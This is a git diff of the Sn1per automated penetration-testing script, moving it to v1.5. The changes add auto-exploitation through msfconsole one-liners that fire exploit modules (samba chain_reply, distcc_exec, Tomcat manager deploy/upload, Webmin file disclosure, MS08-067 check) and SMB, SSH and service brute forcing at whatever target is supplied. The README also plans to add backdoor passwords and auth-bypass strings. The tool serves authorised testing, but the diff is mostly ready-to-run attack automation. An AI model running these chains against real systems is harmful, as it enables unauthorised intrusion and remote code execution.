-echo -e "$OKGREEN + -- --=[This script will install or upgrade your Sn1per installation. Are you sure you want to continue? (Ctrl+C to exit) $RESET"
+echo -e "$OKGREEN + -- --=[This script will install or upgrade your Sn1per installation. Are you sure you want to continue?$RESET"
 read answer

 echo -e "$OKORANGE + -- --=[Installing package dependencies...$RESET"
 apt-get install host whois theharvester dnsenum dnsrecon curl nmap php5 php5-curl wapiti hydra iceweasel wpscan sqlmap arachni w3af golismero nbtscan enum4linux cisco-torch metasploit-framework theharvester dnsenum nikto smtp-user-enum whatweb python nbtscan sslscan amap

 echo -e "$OKORANGE + -- --=[Installing gem dependencies...$RESET"
-gem install ruby-nmap net-http-persistent mechanize text-table rake
+gem install rake
+gem install ruby-nmap net-http-persistent mechanize text-table

 echo -e "$OKORANGE + -- --=[Cleaning up old extensions...$RESET"
-rm -Rf Findsploit/ Brutex/ Goohak/ XSSTracer/ MassBleed/ SuperMicro-Password-Scanner/ CMSmap/ yasuo/ Breach-Miner/
+rm -Rf Findsploit/ Brutex/ Goohak/ XSSTracer/ MassBleed/ SuperMicro-Password-Scanner/ CMSmap/ yasuo/

 echo -e "$OKORANGE + -- --=[Downloading extensions...$RESET"
 git clone https://github.com/1N3/Findsploit.git
@ -41,7 +43,6 @@ git clone https://github.com/1N3/MassBleed.git
 git clone https://github.com/1N3/SuperMicro-Password-Scanner
 git clone https://github.com/Dionach/CMSmap.git
 git clone https://github.com/0xsauby/yasuo.git
-git clone https://github.com/vishnuraju/Breach-Miner-automated-.git Breach-Miner

 echo -e "$OKORANGE + -- --=[Setting up environment...$RESET"
 mkdir loot 2> /dev/null
--- a/loot/README.md
+++ b/loot/README.md
@ -1,4 +1,4 @@
-+ -- --=[Sn1per v1.4g by 1N3
+ -- --=[Sn1per v1.5 by 1N3
 + -- --=[http://crowdshield.com
 
 # Sn1per - Automated Pentest Recon Scanner
@ -11,7 +11,8 @@ Sn1per is an automated scanner that can be used during a penetration test to enu
 * Automatically launches Google hacking queries against a target domain
 * Automatically enumerates open ports
 * Automatically brute forces sub-domains and DNS info
-* Automatically runs targeted nmap scripts against open ports
+* Automatically runs targeted NMap scripts against open ports
+* Automatically runs targeted Metasploit scan and exploit modules
 * Automatically scans all web applications for common vulnerabilities
 * Automatically brute forces all open services

@ -29,6 +30,11 @@ Sn1per is an automated scanner that can be used during a penetration test to enu
 https://goo.gl/96LCAg

 ## CHANGELOG:
+* v1.5 - Added Metasploit scan and auto-exploit modules
+* v1.5 - Added additional port checks
+* v1.5 - Added full TCP/UDP NMap XML output
+* v1.5 - Auto tune scan for either IP or hostname/domain
+* v1.4h - Added auto IP/domain name scan configurations
 * v1.4g - Added finger enumeration scripts
 * v1.4g - Fixed nmap -p 445 target issue
 * v1.4g - Fixed smtp-enum target issue
@ -46,3 +52,9 @@ https://goo.gl/96LCAg
 * v1.4 - Fixed minor errors with nmap
 * v1.4 - Removed debug output from goohak from displaying on console

+## FUTURE:
+* Add in detection and auto exploitation for Apache Tomcat, PHPMyAdmin, Webmin, MS08-067, Open Proxy, etc.
+* Add in Juniper backdoor password to password list
+* Add auth bypass string to password list
+* Add in OpenVAS integration
+* Look into HTML reporting or text based output options to save scan data
--- a/112
+++ b/112
@ -1,5 +1,5 @@
 #!/bin/bash
-# + -- --=[Sn1per v1.4 by 1N3 v20151213
+# + -- --=[Sn1per v1.5 by 1N3
 # + -- --=[http://crowdshield.com
 #
 # Sn1per - Automated Pentest Recon Tool
@ -12,6 +12,7 @@
 # - Automatically run targeted nmap scripts against open ports
 # - Automatically scans all web applications
 # - Automatically brute forces all open services
+# - Automatically runs targeted metasploit scan and exploit modules
 #
 # INSTALL:
 # ./install.sh - Installs all dependencies. Best run from Kali Linux. 
@ -26,9 +27,9 @@ CMSMAP="CMSmap/cmsmap.py"
 SAMRDUMP="bin/samrdump.py"
 DNSDICT6="bin/dnsdict6"
 INURLBR="bin/inurlbr.php"
-USER_FILE="BruteX/simple-users.txt"
-PASS_FILE="BruteX/password.lst"
-DNS_FILE="BruteX/namelist.txt"
+USER_FILE="BruteX/wordlists/simple-users.txt"
+PASS_FILE="BruteX/wordlists/password.lst"
+DNS_FILE="BruteX/wordlists/namelist.txt"
 SUPER_MICRO_SCAN="SuperMicro-Password-Scanner/supermicro_scan.sh"
 THREADS="30"
 OKBLUE='\033[94m'
@ -46,11 +47,19 @@ if [ -z $TARGET ]; then
 	echo -e "$OKRED               /_/                 $RESET"
 	echo -e "$RESET"
 	echo -e "$OKORANGE + -- --=[http://crowdshield.com"
-	echo -e "$OKORANGE + -- --=[sn1per v1.4 by 1N3"
+	echo -e "$OKORANGE + -- --=[sn1per v1.5 by 1N3"
 	echo -e "$OKORANGE + -- --=[Usage: sn1per <target>"
 	exit
 fi

+REGEX='^[0-9]+$'
+if [[ ${TARGET:0:1} =~ $REGEX ]]; 
+	then 
+	SCAN_TYPE="IP"
+else 
+	SCAN_TYPE="DOMAIN"
+fi
+
 clear

 echo -e "$OKRED                ____               $RESET"
@ -61,30 +70,32 @@ echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/     $RESET"
 echo -e "$OKRED               /_/                 $RESET"
 echo -e "$RESET"
 echo -e "$OKORANGE + -- --=[http://crowdshield.com"
-echo -e "$OKORANGE + -- --=[sn1per v1.4 by 1N3"
+echo -e "$OKORANGE + -- --=[sn1per v1.5 by 1N3"
 echo -e "$RESET"
 echo -e "$OKGREEN################################### Running recon #################################$RESET"
 nslookup $TARGET
 host $TARGET
-dig -x $TARGET
-whois $TARGET
-theharvester -d $TARGET -b google
-theharvester -d $TARGET -b bing
-theharvester -d $TARGET -b linkedin
-theharvester -d $TARGET -b people123
-dnsrecon -d $TARGET
-dnsrecon -d $TARGET -t zonewalk
-dnsrecon -d quora.com -t axfr
-dnsenum $TARGET -f BruteX/namelist.txt
-mv -f *_ips.txt loot/ 2>/dev/null
-shodan host $TARGET
+if [ $SCAN_TYPE == "DOMAIN" ];
+then
+	dig -x $TARGET
+	whois $TARGET
+	theharvester -d $TARGET -b google
+	theharvester -d $TARGET -b bing
+	theharvester -d $TARGET -b linkedin
+	theharvester -d $TARGET -b people123
+	dnsrecon -d $TARGET
+	dnsrecon -d $TARGET -t zonewalk
+	dnsrecon -d quora.com -t axfr
+	dnsenum $TARGET -f BruteX/wordlists/namelist.txt
+	mv -f *_ips.txt loot/ 2>/dev/null
+	shodan host $TARGET
+fi
 echo ""
 echo -e "$OKGREEN################################### Pinging host ###################################$RESET"
 ping -c 1 $TARGET
 echo ""
 echo -e "$OKGREEN################################### Running port scan ##############################$RESET"
-nmap -sS -sV -T4 -A -O --open $TARGET -oX $LOOT_DIR/nmap-$TARGET.xml
-nmap -sU -sV -T4 -A -O -p 53,67,68,88,161,162,137,138,139,389,520,521,2049 --open $TARGET -oX $LOOT_DIR/nmap-udp-$TARGET.xml
+nmap -sS -sU -sV -T4 -A -O -p T:1-65535,U:53,U:67,U:68,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:520,U:2049 --open $TARGET -oX $LOOT_DIR/nmap-$TARGET.xml
 echo ""
 echo -e "$OKGREEN################################### Running Intrusive Scans ########################$RESET"
 port_21=`grep 'portid="21"' $LOOT_DIR/nmap-$TARGET.xml | grep open`
@ -111,6 +122,7 @@ port_2049=`grep 'portid="2049"' $LOOT_DIR/nmap-$TARGET.xml | grep open`
 port_2121=`grep 'portid="2121"' $LOOT_DIR/nmap-$TARGET.xml | grep open`
 port_3306=`grep 'portid="3306"' $LOOT_DIR/nmap-$TARGET.xml | grep open`
 port_3389=`grep 'portid="3389"' $LOOT_DIR/nmap-$TARGET.xml | grep open`
+port_3632=`grep 'portid="3632"' $LOOT_DIR/nmap-$TARGET.xml | grep open`
 port_5432=`grep 'portid="5432"' $LOOT_DIR/nmap-$TARGET.xml | grep open`
 port_5800=`grep 'portid="5800"' $LOOT_DIR/nmap-$TARGET.xml | grep open`
 port_5900=`grep 'portid="5900"' $LOOT_DIR/nmap-$TARGET.xml | grep open`
@ -120,6 +132,7 @@ port_8009=`grep 'portid="8009"' $LOOT_DIR/nmap-$TARGET.xml | grep open`
 port_8080=`grep 'portid="8080"' $LOOT_DIR/nmap-$TARGET.xml | grep open`
 port_8180=`grep 'portid="8180"' $LOOT_DIR/nmap-$TARGET.xml | grep open`
 port_8443=`grep 'portid="8443"' $LOOT_DIR/nmap-$TARGET.xml | grep open`
+port_10000=`grep 'portid="10000"' $LOOT_DIR/nmap-$TARGET.xml | grep open`
 port_49152=`grep 'portid="49152"' $LOOT_DIR/nmap-$TARGET.xml | grep open`

 if [ -z "$port_21" ]
@ -137,6 +150,7 @@ then
 else
 	echo -e "$OKGREEN+ -- --=[Port 22 opened... running tests...$RESET"
 	nmap -sV -sC -p 22 --script=ssh-* $TARGET
+	msfconsole -x "use scanner/ssh/ssh_enumusers; set USER_FILE "$PWD"/BruteX/wordlists/simple-users.txt; setg RHOSTS "$TARGET"; run; use scanner/ssh/ssh_identify_pubkeys; run; use scanner/ssh/ssh_version; run; exit;"
 fi

 if [ -z "$port_23" ]
@ -147,6 +161,7 @@ else
 	echo ""
 	cisco-torch -A $TARGET
 	nmap -sV --script=telnet* -p 23 $TARGET
+	msfconsole -x "use scanner/telnet/lantronix_telnet_password; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; run; use scanner/telnet/lantronix_telnet_version; run; use scanner/telnet/telnet_encrypt_overflow; run; use scanner/telnet/telnet_ruggedcom; run; use scanner/telnet/telnet_version; run; exit;"
 fi

 if [ -z "$port_25" ]
@ -156,7 +171,7 @@ else
 	echo -e "$OKGREEN+ -- --=[Port 25 opened... running tests...$RESET"
 	nmap -sV --script=smtp* -p 25 $TARGET
 	smtp-user-enum -M VRFY -U $USER_FILE -t $TARGET
-	msfconsole -x "use scanner/smtp/smtp_enum; set RHOSTS "$TARGET"; run;" 
+	msfconsole -x "use scanner/smtp/smtp_enum; set RHOSTS "$TARGET"; run; exit;" 
 fi

 if [ -z "$port_53" ]
@ -164,7 +179,7 @@ then
 	echo -e "$OKRED+ -- --=[Port 53 closed... skipping.$RESET"
 else
 	echo -e "$OKGREEN+ -- --=[Port 53 opened... running tests...$RESET"
-	nmap -sV --script=dns* -p $TARGET	
+	nmap -sV --script=dns* -p U:53,T:53 $TARGET	
 fi

 if [ -z "$port_79" ]
@ -173,7 +188,7 @@ then
 else
 	echo -e "$OKGREEN+ -- --=[Port 79 opened... running tests...$RESET"
 	nmap -sV --script=finger* -p 79 $TARGET
-	bin/fingertool.sh $TARGET BruteX/simple-users.txt
+	bin/fingertool.sh $TARGET BruteX/wordlists/simple-users.txt
 fi

 if [ -z "$port_80" ]
@ -186,9 +201,15 @@ else
 	whatweb http://$TARGET
 	xsstracer $TARGET 80
 	echo ""
-	goohak $TARGET > /dev/null
-	php $INURLBR --dork "site:$TARGET" -s $LOOT_DIR/inurlbr-$TARGET.txt >> $LOOT_DIR/inurlbr-$TARGET.txt
-	rm -Rf output/ cookie.txt exploits.conf
+
+	if [ $SCAN_TYPE == "DOMAIN" ];
+	then
+		goohak $TARGET > /dev/null
+		php $INURLBR --dork "site:$TARGET" -s $LOOT_DIR/inurlbr-$TARGET.txt >> $LOOT_DIR/inurlbr-$TARGET.txt
+		rm -Rf output/ cookie.txt exploits.conf
+	
+	fi
+	
 	nmap -sV -p 80 --script=http-enum,http-feed,http-open-proxy,http-headers,http-cors,http-server-header,http-php-version,http-form-brute,http-iis-short-name-brute,http-waf-fingerprint,http-auth,http-trace,http-iis-webdav-vuln,http-useragent-tester,http-vuln-cve2011-3368,http-userdir-enum,http-passwd,http-csrf,http-wordpress-enum,http-frontpage-login,http-dombased-xss,http-phpself-xss,http-sql-injection,http-drupal-enum-users,http-referer-checker,http-vuln-cve2009-3960,http-methods,http-open-redirect,http-vuln-cve2011-3192,http-stored-xss,http-vuln-cve2013-0156,http-put,http-proxy-brute,http-rfi-spider,http-method-tamper $TARGET
 	echo -e "$OKBLUE+ -- --=[Checking if X-Content options are enabled on $TARGET...$RESET $OKORANGE"
 	curl -s --insecure -I http://$TARGET | egrep -i 'X-Content' | tail -n 10
@ -282,7 +303,8 @@ else
 	enum4linux $TARGET
 	python $SAMRDUMP $TARGET
 	nbtscan $TARGET
-	nmap -sV --script=/usr/share/nmap/scripts/smb-check-vulns.nse --script=/usr/share/nmap/scripts/smb-os-discovery.nse --script=/usr/share/nmap/scripts/smb-enum-domains.nse --script=/usr/share/nmap/scripts/smb-server-stats.nse --script=/usr/share/nmap/scripts/smb-ls.nse --script=/usr/share/nmap/scripts/smb-vuln-ms10-054.nse --script=/usr/share/nmap/scripts/smb-vuln-ms10-061.nse --script=/usr/share/nmap/scripts/smb-system-info.nse --script=/usr/share/nmap/scripts/smb-enum-shares.nse --script=/usr/share/nmap/scripts/smb-enum-users.nse --script=/usr/share/nmap/scripts/smbv2-enabled.nse --script=/usr/share/nmap/scripts/smb-mbenum.nse --script-args=unsafe=1 -p 139 $TARGET
+	nmap -sV -p139 --script=smb-server-stats --script=smb-ls --script=smb-enum-domains --script=smbv2-enabled --script=smb-psexec --script=smb-enum-groups --script=smb-enum-processes --script=smb-brute --script=smb-print-text --script=smb-security-mode --script=smb-os-discovery --script=smb-enum-sessions --script=smb-mbenum --script=smb-enum-users --script=smb-enum-shares --script=smb-system-info --script=smb-vuln-ms10-054 --script=smb-vuln-ms10-061 $TARGET
+	msfconsole -x "use auxiliary/scanner/smb/pipe_auditor; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/pipe_dcerpc_auditor; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/psexec_loggedin_users; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/smb2; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/smb_enum_gpp; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/smb_enumshares; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/smb_enumusers; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/smb_enumusers_domain; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/smb_login; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/smb_lookupsid; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/smb_uninit_cred; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/smb_version; set RHOSTS "$TARGET"; run; use exploit/linux/samba/chain_reply; set RHOSTS "$TARGET"; set RHOST "$TARGET"; run; use windows/smb/ms08_067_netapi; set RHOSTS "$TARGET"; set RHOST "$TARGET"; check; exit;"
 fi

 if [ -z "$port_162" ]
@ -290,7 +312,7 @@ then
 	echo -e "$OKRED+ -- --=[Port 162 closed... skipping.$RESET"
 else
 	echo -e "$OKGREEN+ -- --=[Port 162 opened... running tests...$RESET"
-	for a in `cat brutex/snmp-community-strings.txt`; do snmpwalk $TARGET -c $a; done;
+	for a in `cat BruteX/wordlists/snmp-community-strings.txt`; do snmpwalk $TARGET -c $a; done;
 	nmap -p 162 --script=snmp* $TARGET
 fi

@ -317,9 +339,15 @@ else
 	./massbleed $TARGET port 443
 	cd ..
 	nmap -sV -p 443 --script=http-enum,http-feed,http-open-proxy,http-headers,http-cors,http-server-header,http-php-version,http-form-brute,http-iis-short-name-brute,http-waf-fingerprint,http-auth,http-trace,http-iis-webdav-vuln,http-useragent-tester,http-vuln-cve2011-3368,http-userdir-enum,http-passwd,http-csrf,http-wordpress-enum,http-frontpage-login,http-dombased-xss,http-phpself-xss,http-sql-injection,http-drupal-enum-users,http-referer-checker,http-vuln-cve2009-3960,http-methods,http-open-redirect,http-vuln-cve2011-3192,http-stored-xss,http-vuln-cve2013-0156,http-put,http-proxy-brute,http-rfi-spider,http-method-tamper,tls-nextprotoneg,ssl* $TARGET
-	goohak $TARGET > /dev/null 
-	php $INURLBR --dork "site:$TARGET" -s $LOOT_DIR/inurlbr-$TARGET.txt >> $LOOT_DIR/inurlbr-$TARGET.txt
-	rm -Rf output/ cookie.txt exploits.conf
+	
+	if [ $SCAN_TYPE == "DOMAIN" ];
+	then
+		goohak $TARGET > /dev/null
+		php $INURLBR --dork "site:$TARGET" -s $LOOT_DIR/inurlbr-$TARGET.txt >> $LOOT_DIR/inurlbr-$TARGET.txt
+		rm -Rf output/ cookie.txt exploits.conf
+	
+	fi
+	
 	echo -e "$OKBLUE+ -- --=[Checking if X-Content options are enabled on $TARGET...$RESET $OKORANGE"
 	curl -s --insecure -I https://$TARGET | egrep -i 'X-Content' | tail -n 10
 	echo ""
@ -384,7 +412,8 @@ else
 	enum4linux $TARGET
 	python $SAMRDUMP $TARGET
 	nbtscan $TARGET
-	nmap --script=/usr/share/nmap/scripts/smb-check-vulns.nse --script=/usr/share/nmap/scripts/smb-os-discovery.nse --script=/usr/share/nmap/scripts/smb-enum-domains.nse --script=/usr/share/nmap/scripts/smb-server-stats.nse --script=/usr/share/nmap/scripts/smb-ls.nse --script=/usr/share/nmap/scripts/smb-vuln-ms10-054.nse --script=/usr/share/nmap/scripts/smb-vuln-ms10-061.nse --script=/usr/share/nmap/scripts/smb-system-info.nse --script=/usr/share/nmap/scripts/smb-enum-shares.nse --script=/usr/share/nmap/scripts/smb-enum-users.nse --script=/usr/share/nmap/scripts/smbv2-enabled.nse --script=/usr/share/nmap/scripts/smb-mbenum.nse --script-args=unsafe=1 -p 445 $TARGET
+	nmap -sV -p445 --script=smb-server-stats --script=smb-ls --script=smb-enum-domains --script=smbv2-enabled --script=smb-psexec --script=smb-enum-groups --script=smb-enum-processes --script=smb-brute --script=smb-print-text --script=smb-security-mode --script=smb-os-discovery --script=smb-enum-sessions --script=smb-mbenum --script=smb-enum-users --script=smb-enum-shares --script=smb-system-info --script=smb-vuln-ms10-054 --script=smb-vuln-ms10-061 $TARGET
+	msfconsole -x "use auxiliary/scanner/smb/pipe_auditor; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/pipe_dcerpc_auditor; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/psexec_loggedin_users; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/smb2; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/smb_enum_gpp; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/smb_enumshares; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/smb_enumusers; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/smb_enumusers_domain; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/smb_login; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/smb_lookupsid; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/smb_uninit_cred; set RHOSTS "$TARGET"; run; use auxiliary/scanner/smb/smb_version; set RHOSTS "$TARGET"; run; use exploit/linux/samba/chain_reply; set RHOSTS "$TARGET"; set RHOST "$TARGET"; run; use windows/smb/ms08_067_netapi; set RHOSTS "$TARGET"; set RHOST "$TARGET"; check; exit;"
 fi

 if [ -z "$port_512" ]
@ -454,6 +483,15 @@ else
 	nmap -sV --script=rdp-* -p 3389 $TARGET
 fi

+if [ -z "$port_3632" ]
+then
+	echo -e "$OKRED+ -- --=[Port 3632 closed... skipping.$RESET"
+else
+	echo -e "$OKGREEN+ -- --=[Port 3632 opened... running tests...$RESET"
+	nmap -sV --script=distcc-* -p 3632 $TARGET
+	msfconsole -x "setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; use unix/misc/distcc_exec; run; exit;"
+fi
+
 if [ -z "$port_5432" ]
 then
 	echo -e "$OKRED+ -- --=[Port 5432 closed... skipping.$RESET"
@ -544,7 +582,7 @@ else
 	cd ..
 	nikto -h http://$TARGET:8080 
 	nmap -p 8080 --script=*proxy* $TARGET
-	
+	msfconsole -x "use admin/http/tomcat_administration; setg RHOST "$TARGET"; setg RPORT 8080; setg RHOSTS "$TARGET"; run; use admin/http/tomcat_utf8_traversal; run; use scanner/http/tomcat_enum; run; use scanner/http/tomcat_mgr_login; run; use multi/http/tomcat_mgr_deploy; run; use multi/http/tomcat_mgr_upload; run; exit;"
 fi

 if [ -z "$port_8180" ]
@ -583,6 +621,14 @@ else
 	nmap -p 8443 --script=*proxy* $TARGET
 fi

+if [ -z "$port_10000" ]
+then
+	echo -e "$OKRED+ -- --=[Port 10000 closed... skipping.$RESET"
+else
+	echo -e "$OKGREEN+ -- --=[Port 10000 opened... running tests...$RESET"
+	msfconsole -x "use auxiliary/admin/webmin/file_disclosure; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; run; exit;"
+fi
+
 if [ -z "$port_49152" ]
 then
 	echo -e "$OKRED+ -- --=[Port 49152 closed... skipping.$RESET"